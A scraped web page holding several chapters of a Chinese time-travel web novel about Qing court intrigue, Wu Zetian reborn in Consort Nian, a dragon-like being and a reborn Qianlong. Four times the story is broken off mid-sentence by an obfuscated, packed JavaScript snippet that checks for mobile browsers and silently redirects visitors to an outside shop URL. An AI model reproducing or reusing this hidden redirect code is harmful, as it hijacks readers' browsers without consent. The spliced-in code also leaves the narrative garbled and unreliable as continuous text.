说到这里,胤礽露出苦笑:“我已经什么都没有,也什么都不在乎了。” …… …… 八月底,皇上有意二废太子的消息已随着盛夏的蝉鸣传得朝野上下人尽皆知。 因此,当太子福晋身前的嬷嬷拿着拜帖敲开雍王府大门时,整个雍王府都如临大敌。 太子福晋明日来访,雍王府不能不接待,可是具体应该如何接待呢? …… “嫡福晋,现在这事怎么处理?” 传讯的嬷嬷苦着脸询问一如既往地抄经的乌拉那拉氏:“太子福晋来访,咱们不能不能接待,可是京城早有传言,皇上有意二废太子,万一……咱们可是——” “那又如何?” 嫡福晋抬头,眼神淡漠:“就算太子不再是太子,那也是自家兄弟妯娌,难道要拒之门外?” “福晋说得极是,是奴才们……可这份接待……要……要怎么接待才能恰到好处既不让皇上生气又不失皇家体面?” 嬷嬷小心翼翼询问嫡福晋。 乌拉那拉氏想了一下,决定按最高规格接待。 ——不管将来如何,太子福晋现在都还是太子福晋。 …… 第二日,太子福晋前呼后拥来到雍王府,嫡福晋带着府里的几位侧福晋、格格亲自迎接,牵手行礼后请太子福晋入摆着冰盆的内室,五六个奴婢轮流为主子们摇晃排扇,奉上的葡萄瓜果全都装在冰鉴里,表面凝着晶莹剔透的水珠和冰花,另有各式冰镇的酸饮甜羹作为陪衬。 见此情形,太子福晋心中一声叹息。 [雍亲王府上上下下果然如太子爷所言是体面人,即便知道太子爷朝不保夕,对突然来访的我依然盛情款待,没有一丝一毫的疏忽怠慢。] 想到此节,太子福晋起了一片切得厚薄适中的西瓜,放入口中,细细咀嚼,目光自然落在年世华的小腹处:“听说你即将生产,为雍亲王府再添一枚子嗣?” “回太子福晋的话,确有此事。” “那孩子若是男孩——” “四爷子嗣单薄,生男孩可谓求之不得。” 四福晋笑盈盈接话。 她本就对年氏有几分怜爱,何况天幕说年氏十月要生下的孩子会助她成为大清皇后。 可能是觉得意图太明显,说完后,四福晋又欲盖弥彰地补充一句:“若生下的是女孩却也不错,毕竟我们雍亲王府出了名的子嗣单薄。” “我倒觉得生男孩最好不过。” 太子福晋直言道:“皇上膝下有九十多个皇孙,真正让他放在心上喜欢的却几乎没有。若是雍亲王王府能出一个让皇上真心喜欢的优秀皇孙,大清江山或许从此稳定了。” “——太子福晋真爱说笑,谁不知道皇上喜欢弘皙。” 四福晋心虚不已。 太子福晋摇摇头,道:“皇上喜欢弘皙,因为弘皙是太子嫡子,是正统嫡系。若有一天太子不再是太子,弘皙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457808|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便也只是个普通阿哥家的嫡子,不值得皇上另眼相看。” “太子福晋——” “年氏,你过来。” 太子福晋打断四福晋的话,招手让年世华上前。 武曌“看”穿太子福晋的心思,落落大方地走上前去:“太子福晋——” “满人入关以前并没有嫡长制度,即便是如今,嫡福晋和侧福晋的身份差别也远不及汉人后院的妻妾之分。何况你们雍亲王府并没有严格意义的嫡出长子。所以,倘若你十月生下的是儿子,那孩子的待遇必定不是嫡出胜似嫡出。” “太子福晋您这话——” 有挑拨离间的嫌疑。 四福晋暗暗嘀咕。 同为侧福晋并且还是弘时生母的李佳氏的脸色更是难看得要命,手指紧抓宫扇,指甲都要扣进肉里面了。 唯独武曌态度淡然平静,低眉顺眼道:“谢太子福晋关心,但雍王府后院大小事务归四福晋姐姐管。” “你觉得我在多管闲事?” “不敢。” 武曌抬头,美丽的面容散发着不容置疑的优雅与强势:“可这里是雍亲王府。” “你……” 太子福晋瞬间颓然,重重坐下,因为二废太子“传言”而日益憔悴的容颜沁出悲哀的笑:“你说得很对很有道理,这里是雍亲王府,我不该对雍亲王府的事情指手画脚,可是我……我……我太痛苦了!” 说到这里,痛苦的眼泪决堤而出。 见状,四福晋果断示意伺候的嬷嬷、奴婢们全数退下,李佳氏在内的其他人也都下去。 武曌假意也要走,四福晋和太子福晋异口同声地留住了她。 房门缓缓合上,太子福晋掏出绢帕哽噎哭泣:“你们知道这几个月我是怎么熬过来的吗!外面的传言越来越夸张,我却……我每天都在做噩梦,梦见太子再次被废,我们所有人全都像前几年那样被圈禁起来……不能出去,不能和外面接触,不能……” “被圈禁确实很苦,而且——” “被圈禁的日子最苦的不是被圈禁这件事,是你永远不知道明天还会发生什么。” 太子福晋抬头,脂粉凌乱的面容令人心痛又无奈:“我只要想到我即将再次被圈禁并且这次圈禁不知道什么时候才能重获自由……能不能重回自由,我的心就痛得厉害……开始扭曲,见不得别人快乐……” “皇上并没有说要废太子,您担心的事情未必会——” 乌拉那拉氏真情安抚太子福晋——虽说二废一定会发生、二废以后雍亲王府将成为最大的赢家,但她的内心深处毕竟也还是个女人,无法对同为女人的废太子福晋的痛苦熟视无睹。 “可我们都知道它一定会发生!一定!一定!” 太子福晋含泪看着四福晋和怀了身孕的年世华,又痛又悲愤:“太子说,如果他被废,他希望四爷能接替他成为大清储君,因为四爷是诸位阿哥中难得的品德高尚为人宽宏公正之人,不会因为往昔的仇怨报复折磨他,但是其他阿哥……尤其是八阿哥……” 55.没有不可能的事情 “八爷素有八贤王的美誉——” 为防隔墙有耳,武曌假惺惺给胤禩说好话。 “真的吗?眼见为实吗?” 太子福晋凄然一笑:“就算八爷是表里如一的君子、圣人,可他身边还有个九爷呢!” “太子福晋——” “我知道你们心中有顾虑,我也知道我不该对你们说这些话,但是我……我这些天是每天都无法入眠,翻来覆去想的全是太子爷和我们的孩子将来会怎样!皇上会怎么处置我们!一旦被圈禁,还有可能再见天日吗?” “太子一直都是皇上最喜欢的阿哥,皇上不可能废太子,更不可能——” “凡事只要有过第一次就很容易会有第二次,何况二立太子这件事本就内情复杂。” 说到此处,太子福晋一声叹息,伸手轻抚年世华那因为怀孕浮肿而略显圆润的芊芊十指,道:“倘若你生下的是小阿哥,四爷就更多一分成为大清储君的可能,太子爷和我的将来也……也会更多一点保障……” “皇上向来疼爱太子,绝不可能——” “怎么不可能?世上没有绝对不可能的事情,何况太子爷数年前已经被废过,如今又……朝野上上下下……” 太子福晋顿了一下,擦擦眼泪,自嘲道:“事到如今,说这些又有什么意思呢?该来的总是要来,该面对的终归要面对,只希望厄运到来那天,太子不会被其他所有人趁机落井下石。毕竟这世上从来只有锦上添花鲜少有人雪中送炭。” 说完,太子福晋起身,准备离开。 四福晋想了一下,与年世华一起恭敬送别太子福晋,应有的礼仪规矩全部一丝不苟。 …… …… 有意夺嫡的皇子们在京城内外四处散布眼线,对儿子们早就有所顾忌的康熙同样在他认为敏感危险的儿子们身边安插了人手。 因此,天还没有暗,太子福晋拜会雍亲王府的事情已经传到康熙耳中。 得知四福晋等人盛情接待突然来访的太子福晋、整套礼节从始至终都没有一点疏忽怠慢,康熙露出微妙表情:“不愧是老四,自己规矩懂事,连带后院的女人们都恪守本分,从不过问不该问的事情,反观老八和他那位京城赫赫有名的福晋……哼!” “皇上息怒,八福晋也只是——” “女人就应该乖乖待在男人身后生儿育女操持家务!” 康熙起身,走到西洋传教士送来的地球仪面前,看着地球仪上被标注为英吉利、法兰西、西班牙……的各块土地,脸色异常阴冷。 “西洋人允许女人继承大统,弄出一堆可恶的女王,什么伊丽莎白、伊莎贝拉、凯瑟琳、玛丽、安妮、苏菲亚……一个接着一个跳出来做那牝鸡司晨之事,搞得君不君臣不臣,男不男女不女,宫廷风气比唐朝武则天的时候还要荒淫无度!” “皇上息怒,西洋毕竟都是毛发没褪干净的蛮夷们建的国家,哪里懂得‘唯女子与小人难养也’的圣贤教诲……” “这些女王的轮流出现倒也让朕意识到一个重要问题……后宫不得干政,不仅仅指的是后宫女人不能干政,就算女人成为太后也不可以让她有过问政治的权力!” 说着说着,康熙眯起眼睛:“孝庄太后是个完美的皇祖母,她呕心沥血地辅佐了三代皇帝,扶着大清走完入关最初几十年的动荡岁月……可即便是这样的好祖母,也难免利用自己的辅政大权为她的蒙古娘家谋好处,一次次将蒙古女人塞进世祖皇帝和朕的后宫……由此可见,再贤德美好的女人也不可以让她们有机会碰到权力,因为她的父母不属于爱新觉罗家,她无法作为纯粹的爱新觉罗人处处为爱新觉罗家着想……” 大殿内,鸦雀无声,所有人都屏息凝神地听着皇帝的喃喃自语。 “……所以朕从一开始就不考虑老八,不仅仅因为他成天沽名钓誉地营造所谓的八贤王之名,更因为他是个连自己的女人都控制不住的废物!以他的惧内表现,一旦登上大宝之位,他的嫡福晋即便不能成为第二个武则天也会是第二个韦皇后!大清江山可不能葬送在女人手中!” “如今民间有传闻,孤儿寡母得天下,孤儿寡母失天下……孝庄太后已经证明了孤儿寡母得天下,所以朕绝不可能选一个连妻子都无力压制的废物做太子!‘孤儿寡母失天下’这种事情……不能发生!绝对!绝对不可以发生!” …… …… 【康熙的迷信程度好像比我的预料更严重呢~】 除夕那次见面时已经在康熙身上打了特殊标记可以随时听到、看到康熙的一举一动的凤龙坐在葡萄长得郁郁葱葱的红漆花架上,美滋滋评价道。 [哦?你听到了什么?] 在花架下乘凉纳暑的武曌抬头,假意逗弄穆景远送来的据说产自美洲新大陆的一种名叫金刚鹦鹉的大型禽鸟。 【他相信‘孤儿寡母得天下,孤儿寡母失天下’的传言,认为大清之所以兴起,源于孝庄太后抱着世祖皇帝入关,而敲响灭亡丧钟的也将是一个垂帘听政的女人~所以他坚决不会让老八继位,因为老八是个惧内的男人,他认为八福晋成为大清皇后会给大清带来媲美武皇后、韦皇后乱政的灾难。】 [说得好像男人成了皇帝就个个都是千古明君似的。] 武曌不屑冷笑。 [韦氏确实是无能之辈,但是我……好吧,对男人们而言,我这样的女人确实比韦氏更加不能容忍。可惜,康熙千防万防终究还是看错了防备的对象……八福晋那样的女人压根成不了大事,她连字都认不全,怎么可能听政乱政……] 【我听四福晋那边的天幕历史直播提供的信息,康熙无比推崇的孝庄太后也就是个没啥文化的蒙古女人,没有后世拍摄的影视剧中形容得万分之一的美好。所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473362|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康熙担心‘孤儿寡母失天下’这句话应在八福晋身上也不能说是胡思乱想,毕竟满人本就是普遍没啥文化~】 说到这里,凤龙忍不住发出“呲呲”笑声,随后祂又非常严肃地补充起来。 【我从不以我为标准衡量世间生灵的知识和文化水平——毕竟,以我为标准的话,宇宙所有的生灵都是浑浑噩噩的存在。但我鄙视对知识没有渴求和欲望的生命,以及自己没有追求知识的欲望还要禁止他人追求知识的愚昧统治者……所以我讨厌康熙和他的家族主张的愚民政策,讨厌和满人合作压迫更底层的汉人的汉人世族阶级~】 【我喜欢不论处境多么艰难依旧坚强地活着、用生命寻求自己的真理的生命……他们中的每一个都在闪闪发光,虽然他们中的大部分哪怕完全燃烧生命也只能在黑暗中发出稍纵即逝的萤火微光~】 [原来你最喜欢的东西是光。] 【我只是单纯地喜欢着珍贵又罕见的东西,比如光,比如——】 凤龙的脸突然冲到武曌面前——外形再像人类,祂的身体终究不是真正的人类躯体,肌肉和骨骼都拥有比蛇更柔软灵活的延展性,轻而易举就做出人类的身体绝无可能做到的扭曲姿势。 而武曌经过这些日子的相处也早就习惯凤龙那如孩子般想到一出是一出的跳跃无逻辑思维,对突然冲到面前的绝美脸庞不仅没有惊吓害怕之情,甚至还饶有兴致地鉴赏起来。 [有件事我一直觉得奇怪,你现在的这张脸源于年世华,为何我无法从这张脸上找到与年世华的相似之处?明明每个部位细看都和年世华有九成以上的相似,组合在一切却……] 【因为你们人类对外貌的记忆认知是和气质、印象之类的虚幻的东西牢牢绑定的~而我不是人类~我的身体完全没有人的气息~所以即便我的鼻子、眼睛、嘴巴……都和年世华有九成的相似之处,组合在我的脸上就变成了完全陌生的另一个人~不仅你会觉得陌生,康熙和我单独见面好几次都到现在完全没有意识到我和胤禛的侧福晋年氏长得有几分相似呢~】 凤龙有些得意。 武曌此刻却已经开始思考另一个更紧要的问题了。 [弘历……不对,是妞妞……不知道是不是错觉,我总觉得这个女婴有些不寻常……作为一个婴孩,她太安静了,安静得不像个孩子……] 武曌神情严肃。 毕竟,年世华没做过母亲,但前世的她是多个孩子的母亲,非常清楚婴儿的各阶段表现。 如此安静的婴儿,实在—— 【你怀疑妞妞的身体里面有成年人的灵魂?】 [雍亲王府的后院可以出现来自过去的我和来自未来的伊格格,妞妞体内自然也可能存在不属于这个世界的灵魂。] 【明白啦~我找机会试探一下~】 说这话的时候,凤龙脸上满是看乐子的憋笑。 56.憋笑 年氏生产将至,朝中又有二废太子的传言,为免节外生枝,虽然内心深处对被凤龙变成四格格妞妞的弘历充满兴趣,武曌还是整个九月都安静待在小院里养胎,不多见一个人,不多说一句话。 相较于她的安静,凤龙则活跃异常。 武曌提出四格格妞妞有些不寻常的当天晚上,仗着寻常人看不见自己的祂便趁着夜色大摇大摆来到钮祜禄氏处,走进小格格的房间,轻轻吹一口气,将困倦的奶娘以及侍奉在旁的奴婢们尽数送入熟睡。 随后,祂修改结界数据,显现在房间内唯一还保持清醒的小格格面前。 婴孩看到凭空出现的凤龙,不仅没有惊叫,反而眨起眼睛,眼神清澈中带着稍纵即逝的复杂。 【果然~】 凤龙瞬间意识到小格格的不寻常,主动上前,单手托腮半跪在小格格面前,黑发如丝绢般洒在肩膀。 【你笑得这么开心,莫非对我有兴趣?】 [怎么可能!朕只是个——] 【朕?只是什么?一岁的婴孩只能勉强分辨基本的美丑,无法产生如此复杂成熟的思考。】 凤龙伸手,捏小格格的脸颊。 祂现在百分百确信小格格体内住着成年人的灵魂。 [你……] “妞妞”被凤龙捏自己脸颊的粗鲁行为激怒,眼看就要发作,但“她”的灵魂毕竟是成年人,短暂的愤怒过后“她”意识到眼前这个美丽到不寻常的人形生命是个超出前世常识的非常存在,并且对方有能力和被困在一岁婴孩的孱弱身体里无法流畅说话的自己进行交流。 [你到底是谁!为什么会出现在这里!还有——] 【还有什么?】 凤龙明知故问。 [松开你的手,别再捏朕的脸!虽然这副身体让朕感到恶心,但她毕竟是朕的身体!] 【你是哪位皇帝,为何一再使用‘朕’这个自称?】 凤龙假惺惺问道——祂心中早有答案,此刻只是向对方做个确认。 [你问朕是哪个皇帝!朕是康熙皇帝的孙子、雍正皇帝的儿子、在位六十年后又以太上皇的身份训政三年的大清第一十全老人——乾隆皇帝爱新觉罗弘历!] 婴孩愤怒又骄傲地宣布,乌溜溜的眼中散发着皇者的傲慢。 【可惜乾隆皇帝如今是个小婴儿,柔弱无力~】 凤龙嬉笑着,伸手戳“妞妞”如莲藕般短胖无力的胳膊。 [住手!你这欺君罔上的逆贼!朕砍了你!] “妞妞”愤怒,发出痛恨的诅咒。 凤龙闻言,暂停动作,怜悯地看着襁褓中女婴。 【你已经不是爱新觉罗弘历,你现在是爱新觉罗宝珠,小名妞妞,按大清抚蒙传统,你成年以后将有很大可能被嫁到蒙古,成为众多默默无声的和亲公主之一。】 [住口!朕可是——] 【你现在是女人,不是男人,男人生来就能得到的东西,女人奋斗一生都未必能够到门槛。】 凤龙用从武曌处学到的知识无情嘲讽“妞妞”。 【除非你想效仿太平公主、安乐公主,在这个男人把持绝对权力的时代走上朝堂与男人争锋。对了,你刚才说你是爱新觉罗弘历,是康熙的孙子,雍正的儿子,在位六十年后又以太上皇的身份训政三年——】 [朕生于康熙五十年(1711年)逝于嘉庆四年(1799年),享年八十九岁,朕也没想到朕在养心殿闭眼后会回到出生时,虽然生母依然是钮祜禄氏,出生时间也依旧是康熙五十年……却……却变成了女婴!] 【你这种情况称为重生,由于未知原因,你在重生时非常不幸地从男婴变成女婴。】 让爱新觉罗弘历变成爱新觉罗宝珠的“罪魁祸首”凤龙一脸纯真无辜地向愤怒又无可奈何的弘历“解释”当前情况。 【只是如此一来,你的人生将遭遇重大挫折——毕竟按照几千年的宗法制度,女人无法继承皇位。】 [不错……女人无法继承皇位,朕的人生将遭遇重大改变,但更大的变化将发生在皇阿玛身上——他没了朕这个优秀的皇子,拿什么和他的兄弟们竞争储位!虽然皇爷爷选择皇阿玛不全是因为喜欢朕,但朕的优秀确实让皇阿玛有更大可能被皇爷爷选中!靠弘时、弘昼那种废物,皇阿玛永远不能入皇爷爷的眼睛!] 【原来你才是康熙选择雍正的关键~】 凤龙努力憋笑。 从四福晋的历史直播天幕处获悉的过期历史知识正如流水般滑过凤龙的思维。 【……虽然乾隆皇帝在位期间一直打造康熙好圣孙、雍正宝亲王人设,试图将雍正皇帝登基的核心原因变成自己,但现有资料证明,康熙生前出生的九十多个孙子都曾被多次带入皇宫和康熙见过面,康熙与乾隆的几次见面是常规的礼制内的爷孙见面,见面次数和见面时长都没有超规格的地方,康熙也从未在和年幼的弘历见面后对这个皇孙做出特别的好感评价。】 弘历不知凤龙心中所想。 见眼前这个美丽中透着不正常的妖冶的家伙听了自己的话以后露出若有所思的笑容,弘历逐渐意识到对方并非无缘无故出现在自己面前,就像自己绝非无缘无故重生在康熙五十年。 [如果朕不是男婴,阿玛很可能无法变成皇阿玛……当然,即便他成了皇阿玛,朕也不可能像前世一样登基成为皇帝,毕竟,这一世朕是女婴……就像你前面说的那样,大清公主通常会被嫁到蒙古……即便有例外也逃不过宗法制对女人的枷锁……既然如此,朕又何必——] 【叶卡捷琳娜二世。】 凤龙冷不防提出一个名字。 弘历愕然。 [你怎么会知道这个名字!] 要知道,叶卡捷琳娜二世是在乾隆登基多年以后才成为俄罗斯女沙皇。 现在是康熙五十一年,俄罗斯还处于叶卡捷琳娜二世的婆婆伊莉莎白女皇的父亲——人称“彼得大帝”的彼得一世的统治下。 [你难道也——] 【事到如今,你还没看出我的不寻常吗?】 凤龙冲着弘历坏笑,妩媚妖娆的面容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489574|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭配清纯如婴孩的气质,让前世阅尽天下美色的乾隆也不由心跳加速,从而更加确信眼前的人形生物不是真正的人类。 [——你到底是什么东西!说!] 【如你所见,我不是人。】 凤龙抬头,让蜡烛的灯火照亮面容——如玉石般白皙得没有一丝血色的皮肤在灯烛照耀下自然折射出类似鳞片的五彩光泽。 【看到这个光泽,你会想到什么?】 [这个光泽……这……这个光泽……龙!你是龙!龙!] 被猛然的想法惊到的弘历脑海中发出惊叫。 【广义上我确实是龙,只是不是你们人类固有认知里的龙,另外,你重生成女孩这件事和我……有一点点关系~当然这些都不重要~】 凤龙将核心问题一笔带过,开始向弘历分析现状。 【按大清的宗法规矩,女人不可能成为皇帝,历代公主更是大半都被迫远嫁蒙古,但是——前朝曾不止一次出现太后摄政,甚至还有公主监国、女皇登基,由此可见这片土地上的女人并不是天生没有资格追求最高权力。】 [你说得很有道理——] 因为这一世成了女人,不想沦为抚蒙工具的弘历很快就被凤龙说服,甚至主动回忆前世。 [前世,朕与俄罗斯女皇叶卡捷琳娜二世是仇敌,彼此互不相让,但朕也不得不承认这个女人非常厉害,她用她的成功让朕看到女人一旦有机会掌握最高权力以后将会迸发出何等可怕的力量……所以朕不许朕的后宫有机会干政,哪怕是朕的生母太后也必须活在朕用黄金和孝道打造的笼子里……但是这一世……这一世朕成了女人,朕不想像其他女人那样成为抚蒙的工具,不想被朕的某个无能的兄弟压制……] 【你想做什么?】 [既然你这条龙主动出现在变成女人的朕的面前,可见这一世的朕依然是帝王命格!注定要君临天下!] 弘历眼中流露出狠厉。 [任何胆敢阻碍朕成为皇帝的东西,都必须除掉!] …… …… 【……大概情况就是这样,因为我的小手段不幸以女人身份降生的爱新觉罗弘历在重回帝王之位这件事情上比我的预期更加欲望强烈呢!】 [如此说来,弘历会成为我的盟友?] 武曌兴致盎然地拨了拨灯芯。 根据天幕提供的信息,比起大清和百姓的命运,清高宗爱新觉罗弘历更在乎如何让自己的权力稳如磐石、天下人人跪拜,但此人也确实拥有堪称登峰造极的权术手段。 【直到真正触及皇位以前,弘历都将是姐姐最好的盟友~】 [然后我们两个为谁坐上龙椅打得死去活来?] 【是的。】 凤龙肯定地点了点头,随后狡黠一笑—— 【但我对姐姐更有信心,姐姐会成为最后的赢家。】 [我也觉得我会是最后的赢家,毕竟——弘历直到这一世才不得不为了皇位以女人的身份对抗宗法,而我早在前世就已经开启了和男人的战斗!] 57.生下孩子 康熙五十一年九月三十日,紫禁城内传出酝酿已久的霹雳,皇帝谕诸皇子等:皇太子胤礽自复立以来,狂疾未除,大失人心,祖宗宏业断不可托付此人;朕已奏闻皇太后,将胤礽拘执看守。 此时,包括胤礽本人在内几乎所有皇子和朝臣都对二废太子一事早有觉察,如今尘埃落地,无不长舒一口气,莫名地感到踏实。 尤其是这段时间一直都处于风口浪尖的胤礽。 面对康熙五十一年十月初一日正式颁布的废黜皇太子胤礽的旨意,他没有丝毫反抗,接旨后甚至仰天大笑:“皇阿玛,你终于又一次下旨废黜皇太子了!太好了!太好了!我终于再也不用每天惴惴不安难以入眠了!哈哈哈!哈哈哈哈!” “爷,您这是……” 伺候胤礽的宫女太监们无不被胤礽的狂态惊呆,以为疯癫。 福晋更跪在地上苦苦哀求:“爷,您要是心里觉得委屈就只管哭出来!别这样!您现在这个样子,我们瞧得心疼啊!” “心疼吗?不过是回到最初的位置!不过是……皇阿玛终于对我绝望……” 喃语间,胤礽抓着废太子的圣旨走向宫殿深处。 福晋为首的众人担心胤礽轻生,含泪紧随。 …… 胤礽的狂态很快传到康熙耳中。 “……他当真如此表情?” “回皇上主子,全是奴才亲眼所见,千真万确,一丝不假。” “可是他……他……” 康熙捏了捏眉心,最终没有对胤礽的病情做出任何表态,一边紧锣密鼓处理废太子相关事宜,一边询问其余阿哥们那边可有异动。 “回皇上主子的话,八贝勒府和九贝子府这几日宴请频繁,满朝官员进进出出,好不热闹。” “果然……不出朕所料……” 康熙磨牙,继续问道:“老四对这件事情是什么态度?他那边又有哪些人进出?” “回皇上主子,雍亲王府对八贝勒府和九贝子府近日的宴请没有任何表示,往来应酬一如往常,独独年家人上门的次数有些多。” “年氏是老四的侧福晋,近来又即将生产,年家作为亲家和娘家多次登门探望、照顾也属寻常。” 康熙故作淡漠,让下面的人不必对年家人近期频繁拜访雍亲王府一事作过多关注。 “奴才遵旨。” “倘若年氏此次生下的是阿哥,朕就又多了一个皇孙了。” 康熙自言自语地说道,手指不自觉地摸了摸御案上的金龙印。 和神秘又美丽的盛世祥瑞的最近一次见面已经是两个月前的事情。 …… …… 废太子诏书昭告天下的第五天,武曌突然感觉小腹异常沉重,隐隐阵痛。 这是生育的前兆。 她即将—— [年氏的身体能够健康地生下孩子吗?] 武曌感到担忧。 即便已经得到耿佳氏的健康,也知道有凤龙保驾护航必定全程有惊无险,想到漫漫前路,她依旧感到莫名的惶恐迷茫。 [在这个男权世界,如果我不能成功生下男孩,我的人生将会遭遇重重险恶,可如果生下孩子的代价是自身健康被废,我这么辛苦付出又……又算什么?] 【从生命自然分化出两种性别、不同性别结合诞生后代成为主流那一刻开始,生育便一直没有得到它本应享有的尊重……所以你会有此刻的迷茫和愤怒,而我也时常会觉得这种事情既荒诞又可笑——为什么地球生命分成两种性别后会出现由其中一种性别全额承担繁殖代价的不公平现象?】 凤龙单手托腮兴致勃勃地发表见解。 【我讨厌这种不公平,我想改变这种不公平。】 [我……我一直都是这样想……我……] 猛然的抽痛打断武曌的思绪,随后身体像压舱石一样坠下,在旁伺候的丫鬟和嬷嬷们蜂拥而至,将年世华搀扶着移动到床上。 …… “主子!主子!侧福晋要生了!” 嬷嬷惊喜地冲进房间,向一如既往练字的嫡福晋乌拉那拉氏报喜。 “哦?” 乌拉那拉氏扬眉,眼角满是喜悦:“真的?” “千真万确。” “大夫和稳婆到了没有?” “侧福晋办事有主见,早在三天前就把人都招进府里安排在偏院,现在都已经带进产房正忙里忙外着张罗呢。” 说这话的时候,嬷嬷难掩敬佩之情。 乌拉那拉氏点点头,道:“你们先过去,我抄完经文也会马上前去。” “嗻。” 嬷嬷们依言退下。 乌拉那拉氏看了眼正喋喋不休讲解二废太子造成的种种政治动荡的天幕,狠狠心,选择关闭。 [二废太子造成的政治动荡固然一波接着一波,但这些事情都是朝堂事,是男人的事情,和我这个后院女人没有任何关系,我不需要关心这些。] [只要四爷能够成为大清皇帝,我就一定会成为大清皇后,剩下的事情就都和我没有关系了。] [最终继位的孩子是后院哪个女人生下来的并不重要,我的弘晖已经不在了,反正依照大清宗法,只要我能成为大清皇后,将来必定会被尊为大清皇太后。] [……] 怀着以上心思,乌拉那拉氏走进年氏的住处。 此时,同为侧福晋的李佳氏早已在院子里翘首等待,宋佳氏、钮祜禄氏、耿佳氏、伊氏等也一个不拉地全数到齐。 以李佳氏与雍亲王生下的一双儿女——大格格赛宝和三阿哥弘时为首,所有人都在紧张地等待着,等待产房传出婴孩的啼哭,等待“母子平安”的好消息。 …… 凤龙没有留在雍亲王府等武曌生下孩子。 祂大摇大摆地出现在被权力包裹的孤独帝王面前,开门见山。 【这几天紫禁城上空云气激烈,死了不少人?】 [确实死了很多人,都是可能打乱朕二废太子进程的佞臣。] 康熙神色有些憔悴,浑浊的眼睛贪婪而痛苦地看着凤龙——祂与生俱来的非人美丽和永不褪色的青春让行将就木的老者心中燃起火烧的嫉妒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499312|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[为什么……为什么只要是人就必定会衰老……必然会死亡……哪怕是秦皇汉武也是老了死了……还有朕……朕如今也……也越来越老……] 【你害怕死亡?】 凤龙上前,轻盈地坐在御案上。 [没有生命不害怕死亡,毕竟古往今来从没有人活着回来……即便是朕……朕自诩满清第一巴图鲁,朕以为朕没有害怕的东西……直到……] 【直到你发现你脸上的皱纹越来越多,你的精力越来越不振奋,听奏报的时候时不时会神游天外……总是不知不觉中陷入对过往的回忆……】 [是的。] 康熙抬头,迷恋地看着凤龙。 [朕正在衰老,一天比一天更加明显地感觉到衰老。朕知道生老病死是生命的必经之路,朕也早就为自己准备好陵寝,随时准备迎接死亡……可是朕……朕现在还不能死,朕还有很多很多的事情要做……朕需要时间……朕的大清江山也需要朕……盛世……盛世需要朕……] 【你以为盛世非你不可吗?】 凤龙冷不防打断康熙,会让人产生天真无邪错觉的美丽面容流露出一些黑暗的冰冷的东西。 【对你而言,你是非常重要的存在,但对天下、对历史而言,你是芸芸众生中的一个,除此以外,毫无意义,你所心心念念的盛世亦是如此——你觉得象征盛世的我的出现是你的功劳,其实不然。】 [——你说什么!] 康熙愤怒。 【盛世一定会出现,皇帝是不是你并不重要。因为另一个会给世界带来盛世的人已经诞生。】 凤龙轻蔑一笑,伸手抓康熙的胳膊。 [你——] 康熙本能地想要拒绝。 【别害怕,我只是将我的视觉暂时借给你,让你看到一些平时看不到的东西,你的身体一直都端坐在王座上,从未离开。】 [原来……] 话音未落,冰凉如黑夜的粘稠触感落在因苍老而松弛的手背上,大量画面冲入思维,惊得康熙目瞪口呆! [这……这……] 他看到了什么! 他看到自己漂浮在紫禁城上空,将整个北京城都收入眼帘,紧接着,白云凝结成龙形向东城区方向聚集,徘徊在雍亲王府和八贝勒府上空。 [难道说……说……] 【你的第八个儿子胤禩曾找人看相问前途,看相人说他身上有龙气,他信以为真,从此对皇位牵肠挂肚耿耿于怀。】 [妖言惑众!要杀!] 【看相人并没有妖言惑众,胤禩身上确实有龙气,只是那龙气不属于他,而是来自他身旁的另一个人。】 [他身旁……胤禩身旁是……胤禛!] 【不错。】 凤龙继续“循循善诱”。 【胤禛有龙气,但他也只是龙气的承接者并非龙气真正的主人,龙气真正的主人此刻刚刚降生——我正是因为感应到他的降生才提前结束长眠来到人间界。】 [龙……将要降生……是了……你说的是年氏的孩子!背负龙气的是年氏的孩子!] 58.恶魔的低语 【你可以这样认为。】 凤龙转头,似笑非笑地看着康熙。 